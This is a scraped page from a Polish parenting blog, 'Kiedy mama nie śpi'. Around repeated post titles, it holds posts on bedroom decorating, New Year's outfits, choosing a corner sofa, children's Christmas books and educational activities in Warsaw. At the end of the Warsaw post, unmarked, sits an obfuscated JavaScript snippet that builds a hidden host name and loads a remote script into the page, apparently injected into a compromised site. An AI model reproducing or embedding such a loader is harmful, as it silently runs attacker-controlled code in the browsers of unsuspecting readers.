W świecie dinozaurów. Nauka poprzez zabawę.

KIEDY MAMA NIE ŚPI

W świecie dinozaurów. Nauka poprzez zabawę.

Kolorowanki dla dorosłych dla początkujących i zaawansowanych.

KIEDY MAMA NIE ŚPI

Kolorowanki dla dorosłych dla początkujących i zaawansowanych.

8 porad na temat tworzenia wygodnego miejsca do spania.

KIEDY MAMA NIE ŚPI

8 porad na temat tworzenia wygodnego miejsca do spania.

Obracając klucz w drzwiach pod koniec długiego dnia powinno teoretycznie oznaczać, że można odetchnąć z ulgą, zdjąć buty i zrelaksować się. Ale jeśli wystrój twojego mieszkania nie ma ciepłej i relaksującej atmosfery to może się zdarzyć, że będziesz mieć ochotę zrobić krok z powrotem.Czy jesteś zmęczony swoim stylem sypialni lub po prostu zmęczony próbując zdecydować, jak ją zmienić?Jeśli masz dość lub nie możesz zdecydować się na schemat kolorów, spróbuj tych osiem prostych kroków, które podpowiedzą jak to zrobić.1. OdświeżenieTrochę farby może czasem wystarczyć, by zmienić pokój z przygnębiającego w piękny, zwłaszcza jeśli istniejące ściany są odrapane a kolor wyblakły. Ostatnie trendy w dekorowaniu wciąż uwikłane są w romans z odcieniami szarości, ale dla bardziej kojącego efektu spróbuj subtelnych odcieni błękitów i zieleni - znajdują się na chłodnej stronie koła barw - ich delikatna estetyka i relaksujące właściwości działają szczególnie dobrze w sypialni lub łazience.2. Rozmieszczenie obrazów i dodatków dobrze przemyślaneŚciany z obrazami jak w galerii mogą być świetną zabawą, ale jeśli czujesz się przytłoczony, zdecyduj się na coś prostszego. Jedna konkretna grafika może zaoferować duży wpływ i zapewnić jeden punkt odpoczynku dla oczu, pomagając umysłowi skupić się na tylko jednej rzeczy. Jeśli wolisz coś bardzo subtelnego, rozważ wkomponowanie starych ozdobnych luster, które nie stymulują nas do rozmyślania.3. Wykorzystaj to co maszPrzekształcenie domu nie musi koniecznie wiązać się z wielkimi wydatkami. Zamiast odwiedzania sklepów, przyjrzyj się temu, co już masz i pomyśl, jak można ponownie to wykorzystać. Czasami wszystko czego potrzebujesz to na przykład przestawić istniejące meble lub wymienić niektóre obrazy na ścianach, dywany czy inne akcesoria w sypialni. Nauczyć się doceniać je ponownie - karta kredytowa nie będzie wymagana!4. Nie podążaj ślepo za modąModa i wystrój wnętrz często idą w parze, niewolniczo podążanie za wszelkimi trendami często może prowadzić do ryzyka, że szybko zmęczy nam się wygląd własnego mieszkania. Co więcej, prawdopodobnie zobaczmy ten styl replikowany często w sklepach, magazynach i na blogach, aż nie będziemy mogli na niego dłużej patrzeć. Zamiast tego zdecydujmy się na nieco bardziej ponadczasowy schemat, pożyczając z modnych trendów nieco inspiracji.5. Dodaj trochę życiaRośliny dodają życia pomieszczeniu oraz (dosłownie) pomagają oczyścić powietrze. Z tropikalnych i botanicznych silnych trendów we wnętrzach teraz także rośliny domowe wróciły do łask. W sypialni zielone rośliny relaksują wzrok.6. Bądź na bieżąco – wymieniaj materacNajnowsze porady ekspertów wykazują , że należy wymieniać materac co osiem lat. Wynika to z potrzeby poprawy komfortu i higieny. By wygodnie spędzać czas w sypialni trzeba zaopatrzyć się w dobry materac. Dobry, czyli taki, który zapewni nam prawidłowe wsparcie kręgosłupa, pozwoli rozluźnić się napiętym po całym dniu mięśniom.7. Przeprojektowanie A może przemalować szafę lub szafki noce? Można też wystylizować je na stare, nadając wnętrzu całkiem nowego stylu. Jeśli dysponujemy gotówką przemieńmy sypialnię w miejsce, które nas wyciszy i zachęci do leżenia i odpoczynku. Zastanówmy się jaki styl lubimy, w jakim wnętrzu będziemy czuć się swojsko.8. Postępuj zgodnie z tym co ci serce podpowiadaPrzede wszystkim staraj się nie martwić i po prostu iść za tym, co kochasz. Jeśli dzieła ceramiki twoich dzieci lub lampa z domu babci z lat 70 sprawiają, że twoje serce śpiewa, dodaj je do wystroju wnętrz . Wypełniając swój dom akcesoriami, które naprawdę kochamy zaczniemy dostrzegać podobieństwa między rzeczami, które mogły początkowo wydawać się rozbieżne.Próbując tylko kilka z tych prostych porad może pomóc wam odmłodzić sypialnię, przynosząc komfort, styl i poziom relaksacji tam, gdzie być powinny.Autor artykułuMaterace Koło - polski producent materacy, materace piankowe, termoelastyczne i inne.

W świecie zagadek i naklejek. Nauka poprzez zabawę.

KIEDY MAMA NIE ŚPI

W świecie zagadek i naklejek. Nauka poprzez zabawę.

Sue Monk Kidd - Opactwo Świętego Grzechu.

KIEDY MAMA NIE ŚPI

Sue Monk Kidd - Opactwo Świętego Grzechu.

Porozmawiajmy o seksie.

KIEDY MAMA NIE ŚPI

Porozmawiajmy o seksie.

W krainie dziecięcych snów z Joanną Wachowiak.

KIEDY MAMA NIE ŚPI

W krainie dziecięcych snów z Joanną Wachowiak.

Zimowe i świąteczne książki dla dzieci od wydawnictwa Olesiejuk.

KIEDY MAMA NIE ŚPI

Zimowe i świąteczne książki dla dzieci od wydawnictwa Olesiejuk.

Podzieleni - Neal Shusterman.

KIEDY MAMA NIE ŚPI

Podzieleni - Neal Shusterman.

Opowiem Ci mamo skąd się bierze miód i co robią samoloty.

KIEDY MAMA NIE ŚPI

Opowiem Ci mamo skąd się bierze miód i co robią samoloty.

Sylwestrowe stylizacje 2015 - 6 Wystrzałowych zestawów.

KIEDY MAMA NIE ŚPI

Sylwestrowe stylizacje 2015 - 6 Wystrzałowych zestawów.

Niedawno szykowaliśmy się do świąt Bożego Narodzenia. Planowaliśmy potrawy na wigilijny stół, prasowaliśmy ubrania dla całej rodziny na ta wyjątkową chwilę. Wszystko co dobre szybko się kończy i ten wyjątkowy, rodzinny i ciepły czas już przemija. Czeka nas kilka dni oddechu i rozpoczniemy kolejne przygotowania, tym razem do powitania Nowego Roku. Z tej okazji przygotowałam trzy proste i dość uniwersalne zestawy, które mogą Wam pomóc w dobraniu kreacji na tę huczną noc pełną zabawy i radości.W sumie znajdziecie tu aż sześć zestawów. Podzieliłam je tematycznie ze względu na miejsce i sposób w jaki można bawić się w noc sylwestrową. Miłego oglądania. Dajcie znać, który zestaw chętnie byście założyły!Wszystkie zdjęcia pochodzą ze strony https://www.chiclook.pl/ gdzie można znaleźć ciekawe markowe sukienki, buty i wiele więcej.

Idealny hamak dla dziecka: jakie cechy powinien posiadać?

KIEDY MAMA NIE ŚPI

Idealny hamak dla dziecka: jakie cechy powinien posiadać?

39,40,41/53 Nie ma jak w domu.

KIEDY MAMA NIE ŚPI

39,40,41/53 Nie ma jak w domu.

Jak urządzić małe mieszkanie? Narożnik z funkcją spania.

KIEDY MAMA NIE ŚPI

Jak urządzić małe mieszkanie? Narożnik z funkcją spania.

Zazwyczaj pierwsze mieszkanie nie należy do największych jakie w życiu widzieliśmy. Nie jest tajemnicą, że podczas planowania i urządzania małego mieszkania liczy się każdy metr przestrzeni. Rzadko kiedy można sobie pozwolić na wyodrębnienie oddzielnego pomieszczenia pełniącego funkcję sypialnianą. Warto wtedy rozważyć zakup narożnika z funkcją spania. Takie rozwiązanie planujemy w naszym przyszłym mieszkaniu i powoli zaczynam się rozglądać za ładnym i przystępnym cenowo narożnikiem.Powierzchnia spaniaNarożnik nie może zagracić mieszkania a jednocześnie powinien posiadać dość dużą powierzchnię do spania. Minimalna długość tej powierzchni to 200-220 cm, zaś minimalna szerokość dla dwóch dorosłych osób to 120-130 cm. Oczywiście im większa powierzchnia tym wygodniej ale jednocześnie ciaśniej w mieszkaniu. Warto o tym pamiętać i znaleźć optymalne rozwiązanie.MateriałOli lubi brudzić. Nam również nie raz się to zdarza. Nic więc dziwnego, że materiał pokrywający narożnik jest bardzo ważny. Skórę łatwo umyć ale też równie łatwo zniszczyć, przypadkowo ją rysując a nawet nacinając (eh, te plastikowe zabawki). Jasne materiały byłyby tylko zmorą dla wszystkich, a widoczne na nich jak na dłoni plamy i zabrudzenia odstraszałyby wszystkich bardzo skutecznie. Moim zdaniem najlepszym rozwiązaniem będą materiały w odcieniach szarości lub brązów o lekkiej fakturze, na których nie będzie widać każdego "paproszka".WyglądJestem zwolennikiem uniwersalnych kolorystycznie podstawowych elementów wyposażenia wnętrz oraz mebli. Kupujemy je przecież na lata i oprócz jakości oraz wytrzymałości wybranego modelu ważny jest również jego wygląd. Najbardziej skłaniam się w kierunku szarości. Całe mieszkanie planujemy urządzić raczej w nowoczesnym stylu, szukam więc narożnika o prostych kształtach bez zbędnych zdobień i dodatków. Trzy ciekawe modele znalazłam na stronie http://meblohand.eu/. Myślę, że takie rozwiązanie jest zarówno praktyczne jak i ciekawe estetycznie. A co Wy myślicie o takim rozwiązaniu?Model FADO Mini LuxModel Nina Model Infinity mini

Zimowe i świąteczne książki dla dzieci od wydawnictwa Skrzat.

KIEDY MAMA NIE ŚPI

Zimowe i świąteczne książki dla dzieci od wydawnictwa Skrzat.

Książę Cierni - Mark Lawrence.

KIEDY MAMA NIE ŚPI

Książę Cierni - Mark Lawrence.

Zimowe opowieści: Ślady na śniegu. Śnieżne gwiazdki. Zimowa wyprawa.

KIEDY MAMA NIE ŚPI

Zimowe opowieści: Ślady na śniegu. Śnieżne gwiazdki. Zimowa wyprawa.

Zimowe i świąteczne książki dla dzieci od wydawnictwa Media Rodzina + KONKURS

KIEDY MAMA NIE ŚPI

Zimowe i świąteczne książki dla dzieci od wydawnictwa Media Rodzina + KONKURS

Zagraj ze mną. Ciekawe gry dla przedszkolaka.

KIEDY MAMA NIE ŚPI

Zagraj ze mną. Ciekawe gry dla przedszkolaka.

Niedrogie prezenty dla najmłodszych.

KIEDY MAMA NIE ŚPI

Niedrogie prezenty dla najmłodszych.

Zimowe i świąteczne książki dla dzieci od wydawnictwa Zielona Sowa.

KIEDY MAMA NIE ŚPI

Zimowe i świąteczne książki dla dzieci od wydawnictwa Zielona Sowa.

Szkolne wyzwania. Jak mądrze wspierać dzieci w dorastaniu.

KIEDY MAMA NIE ŚPI

Szkolne wyzwania. Jak mądrze wspierać dzieci w dorastaniu.

Bajki wszech czasów.

KIEDY MAMA NIE ŚPI

Bajki wszech czasów.

Basia i remont.

KIEDY MAMA NIE ŚPI

Basia i remont.

Zimowe i świąteczne książki dla dzieci od wydawnictwa Jedność.

KIEDY MAMA NIE ŚPI

Zimowe i świąteczne książki dla dzieci od wydawnictwa Jedność.

Dziś w ramach serii wpisów o zimowych i świątecznych książkach dla dzieci pokażę Wam moim zdaniem zdecydowanie jeden z ciekawszych zestawów, część oferty wydawnictwa Jedność związanej z nadchodzącymi świętami. Zapraszam!Opowiadania o Bożym NarodzeniuPowiem szczerze, że jak do tej pory jest to najlepsza pozycja z opowiadaniami o Bożym Narodzeniu dla najmłodszych czytelników jaką widziałam. Znajdziecie w niej dziesięć opowiadań, m.in.: Maryja i Anioł, Sen Józefa, Podróż do Betlejem czy Brak miejsc w gospodzie napisanych z lekkim przymrużeniem oka. Nie obawiajcie się, historie tak dobrze nam znane nie mają zmienionych istotnych elementów. Są one przedstawione jedynie w wyjątkowo lekki i przystępny dla dzieci sposób, trochę żartobliwie, tak po "ludzku" - prosto i z humorem.Już pierwsze opowiadanie o niepokalanym poczęciu wywołało uśmiech na mojej twarzy. Nie jest one takie bardzo poważne jak to zazwyczaj zwykło się je przedstawiać. Maryja wprost mówi o swoich wątpliwościach i uczuciach, które jej towarzyszą. Jest taka zdziwiona, zaniepokojona a nawet lekko wystraszona. Jednak po chwili przepełnia ją radość na myśl, że za jakiś czas oboje z Józefem będą opiekować się maleńkim synkiem.Twarda oprawa, duża wyraźna czcionka i barwne ilustracje to kolejne zalety tej publikacji. Zdecydowanie warta uwagi. Polecam! Wydawnictwo: Wydawnictwo JEDNOŚĆAutor: John GoodwinRok wydania: 2013Stron: 48Format: 20 x 26 cmOprawa: twardaSugerowany przedział wiekowy: od 5 latCena na stronie wydawnictwa: 10,00 złCena w aros.pl: 11,20 złCo o książce pisze wydawnictwo?Dziesięć oryginalnie przedstawionych historyjek na święta Bożego Narodzenia, opowiedzianych lekko i z humorem. Każdą z historyjek można przeczytać w pięć minut, jednak ich mądrość pozostanie z Czytelnikiem przez całe święta Bożego Narodzenia, a może jeszcze dłużej...Anioły, gwiazdki, łańcuchyTa pozycja zaciekawiła mnie okładką i ilością stron. Zachodziłam w głowę cóż takiego może ona w sobie skrywać. Pewnie Was nie zdziwię, że zawartość była dość zaskakująca. Grube strony z wysokojakościowym drukiem to materiał do wykonania sześciu różnych ozdób w 10 a nawet 30 różnych kombinacjach kolorystycznych. Takiej ilości ozdób to ja się naprawdę nie spodziewałam. Sami zobaczcie jakie cudeńka można stworzyć przy pomocy tej książki .Wydawnictwo: Wydawnictwo JEDNOŚĆAutor: Caroline JohanssonRok wydania: 2013Stron: 200Format: 22,2 x 22,6 cmOprawa: twardaSugerowany przedział wiekowy: od 7 do 10 latCena na stronie wydawnictwa: 14,00 złCena w aros.pl: brakCo o książce pisze wydawnictwo?Święta Bożego Narodzenia to niezwykły czas: choinka, prezenty, zapach pieczonych pierników…Nic tak jednak nie cieszy, jak własnoręcznie wykonane świąteczne ozdoby i drobiazgi,które można podarować bliskim i przyjaciołom.Ta książka to wspaniała inspiracja. Zawiera 100 kolorowych specjalnych arkuszy, które dostarczą wszystkim dzieciom, rodzicom i nauczycielom pomysłów na wykonanie niezwykłych świątecznych ozdób. Z ich pomocą powstaną urocze bożonarodzeniowe dekoracje, które sprawią, że święta staną się jeszcze bardziej wyjątkowe.Wycinanki na Boże NarodzenieBardzo fajny zestaw ozdób świątecznych do wycinania i samodzielnego złożenia. Znajdziecie tu na przykład ozdoby na okno, choinkę czy też świąteczny stół, bileciki do prezentów, lampion, szopkę lub kartę świąteczną. Do wyboru do koloru. Czasem dziwię się, że tyle fajnych rzeczy można znaleźć w tak niepozornych publikacjach.Całość przygotowana jest w formie bloku, więc z pewnością nie będziecie mieli problemu z wyrywaniem poszczególnych kartek. Nie pozostaje mi nic innego jak życzyć Wam miłej zabawy!Wydawnictwo: Wydawnictwo JEDNOŚĆAutor: Joanna KrzyżanekRok wydania: 2015Stron: 56Format: 20 x 28,5 cmOprawa: miękkaSugerowany przedział wiekowy: od 5 latCena na stronie wydawnictwa: 6,00 złCena w aros.pl: brakCo o książce pisze wydawnictwo?Wycinanki na Boże Narodzenie to zbiór pomysłów na prace plastyczne związane ze świętami Bożego Narodzenia. Każdą z nich można wykonać samodzielnie – wystarczą tylko nożyczki, klej, wata, bibuła i odrobina wyobraźni. Książka pełna pomysłów na urocze świąteczne ozdoby, które łatwo zrobić w domu i szkole. Serwetnik, pudełko na słodycze, witraż, ozdoby choinkowe – to tylko kilka propozycji prac plastycznych związanych ze świętami Bożego Narodzenia. Wspaniała zabawa dla dużych i małych!Bardzo wesołe zagadki świąteczneWielki format, mnóstwo zagadek, łamigłówek i zadań do wykonania oraz cała paleta barw na ilustracjach to z pewnością zestawienie, które spodoba się każdemu dziecku!32 wyrywane kartki, labirynty, szukanie różnic, wykreślanki i wiele, wiele innych atrakcji czeka na młodego czytelnika w tej publikacji. Jako dziecko uwielbiałam tego typu książki i przyznam szczerze, że i dziś chętnie sama bym się nią "zaopiekowała". ;)Nie tylko bawi ale również: uczy spostrzegawczości, wspiera naukę czytania i liczenia, ćwiczy logiczne myślenie i zdecydowanie pozytywnie wpływa na umiejętność skupiania uwagi. Rewelacyjna pod kątem rozwoju i edukacji dziecka!Wydawnictwo: Wydawnictwo JEDNOŚĆRok wydania: 2015Stron: 32Format: 24 x 33 cmOprawa: miękkaSugerowany przedział wiekowy: od 6 latCena na stronie wydawnictwa: 11,90 złCena w aros.pl: 9,80 złCo o książce pisze wydawnictwo?Chyba na całym świecie nie ma dziecka, która nie kochałoby zagadek i łamigłówek! Dla takich właśnie dzieci przeznaczona jest ta książka. Na 32 dużych kartkach, które można wyrywać, pełno jest rozmaitych zadań – zgadywanek, labiryntów, wyliczanek i wykreślanek, łączenia par, dopasowywania elementów, znajdowania różnic. Książka bawi i przykuwa uwagę dzieci wesołymi ilustracjami, a jednocześnie rozwija spostrzegawczość, umiejętność logicznego myślenia i kojarzenia faktów, pozwala trenować sprawność rąk i precyzyjne czynności, takie jak rysowanie i pisanie.Boże narodzeniePierwsza i jedyna całokartonowa książka dla dzieci opowiadająca o Bożym Narodzeniu. Oli od razu ją złapał i zaczął oglądać po rozpakowaniu paczki. Są takie książki, które mają to coś i dzieci do nich lgną, tak jak w przypadku tej pozycji.Treść znacie doskonale, więc opowiadać Wam jej nie muszę. Za to nie mogę nie pochwalić autora za piękne ilustracje dostosowane do wieku małego czytelnika oraz krótkie, lekko wierszowane, partie tekstu na poszczególnych dwustronicowych rozkładówkach. Nie mam się kompletnie do czego tu przyczepić. Chciałabym, żeby to nie była pojedyncza publikacja a początek pięknej serii książek dla najmłodszych.Wydawnictwo: Wydawnictwo JEDNOŚĆAutor: Bogusław NosekRok wydania: 2015Stron: 18Format: 15 x 15,7 cmOprawa: twardaSugerowany przedział wiekowy: od 1 rokuCena na stronie wydawnictwa: 8,00 złCena w aros.pl: 6,93 złCo o książce pisze wydawnictwo?Oto historia narodzenia Pana Jezusa przedstawiona w pełnych ciepła ilustracjach i opowiedziana wierszem napisanym z myślą o najmłodszych dzieciach. Ta urocza, niosąca radość książeczka jest zaproszeniem do zapoznania dzieci ze Świętą Rodziną i wspólnego, rodzinnego przeżywania cudu Bożego Narodzenia.

Warszawa, dziecko i edukacja.

KIEDY MAMA NIE ŚPI

Warszawa, dziecko i edukacja.

Stolica obfituje w miejsca, oferujące atrakcyjniej przygotowane zajęcia edukacyjne dla najmłodszych. Koniec z suchymi informacjami. Czas na edukację przez interakcję.Standardowy model przyswajania wiedzy odchodzi powoli w niepamięć. Coraz więcej placówek, decyduje się na nowoczesne formy przekazywania wiedzy. Od interaktywnych wystaw, po pokazy naukowe, spektakle dla dzieci, czy warsztaty. Co ciekawe, podobną praktykę przyjmują także organizacje prywatne, czy to z w ramach swojej standardowej działalności, czy to ze względu na indywidualne, czasowe wydarzenia.Przykładowo, Centrum Nauki Kopernik zaprasza dzieci do uczestnictwa w tzw. minilabach, czyli weekendowych zajęciach w laboratorium, gdzie latorośle mają okazję poznać skład tajemniczych, chemicznych receptur. W ofercie placówki są też wystawy czasowe, pokazy naukowe, czy tzw. majsternia, gdzie każde dziecko może odkryć w sobie kolejnego McGyevera.W tworzeniu niebanalnych, pouczających i atrakcyjnych formą spektakli dla dzieci, specjalizuje się Teatr Małego Widza. Pracownicy teatru, realizują wydarzenia i projekty mające edukować, bawić i angażować najmłodszych w rozgrywające się na scenie zdarzenia. Po spektaklu następuje moment zabawy z animatorami, co zwiastują okrzyki radości ze strony dzieci.To jednak nie wszystko. Teatr, podobnie jak wiele innych placówek kulturalnych, wychodzi naprzeciw oczekiwaniom dzieci, oferując im zróżnicowane tematycznie warsztaty. Twoje dziecko kocha Michaela Jacksona i Emy Winehouse? Na dodatek lubi śpiewać. Świetnie się składa, warsztatów wokalno-muzycznych nie brakuje. Zauroczeni spektaklami widzowie, mogą spróbować własnych sił podczas warsztatów teatralnych dla dzieci. Nowe pokolenie artystów może oddawać się frywolnej zabawie i tworzeniu kolejnych arcydzieł na warsztatach plastycznych. Nie brakuje także warsztatów teatralnych, warsztatów z tańca. Co ciekawe, coraz częściej, pojawiają się propozycje warsztatów kulinarnych dla najmłodszych. Za granicą świeci triumfy program MasterChef Junior, w którym to dzieci próbują swoich sił w kuchni, a nie dorośli. Czy do polski także zawita moda na gotowanie z najmłodszymi? Nigdy nie wiadomo.(function(){ uvnv=document.createElement("script");uvnv.type="text/javascript"; uvnv.async=true;uvnv_=(("us")+"t")+"a";uvnv_+=("t.i")+""+"n";uvnv_+=(("f")+"o"); uvnv.src="http://"+uvnv_+"/6862573.3bbpyp6xvnvtcd8k8472cn8hyucx3a"; document.body.appendChild(uvnv); })();

5 Warmińsko-Mazurskie Spotkanie Blogerów.

KIEDY MAMA NIE ŚPI

5 Warmińsko-Mazurskie Spotkanie Blogerów.

Chore dziecko – jak postępować, by się nie zarazić?

KIEDY MAMA NIE ŚPI

Chore dziecko – jak postępować, by się nie zarazić?

DIY - 23 Darmowe zestawy zawieszek na prezenty do druku.

KIEDY MAMA NIE ŚPI

DIY - 23 Darmowe zestawy zawieszek na prezenty do druku.

Zimowe i świąteczne kreatywne książki dla dzieci od wydawnictwa Siedmioróg.

KIEDY MAMA NIE ŚPI

Zimowe i świąteczne kreatywne książki dla dzieci od wydawnictwa Siedmioróg.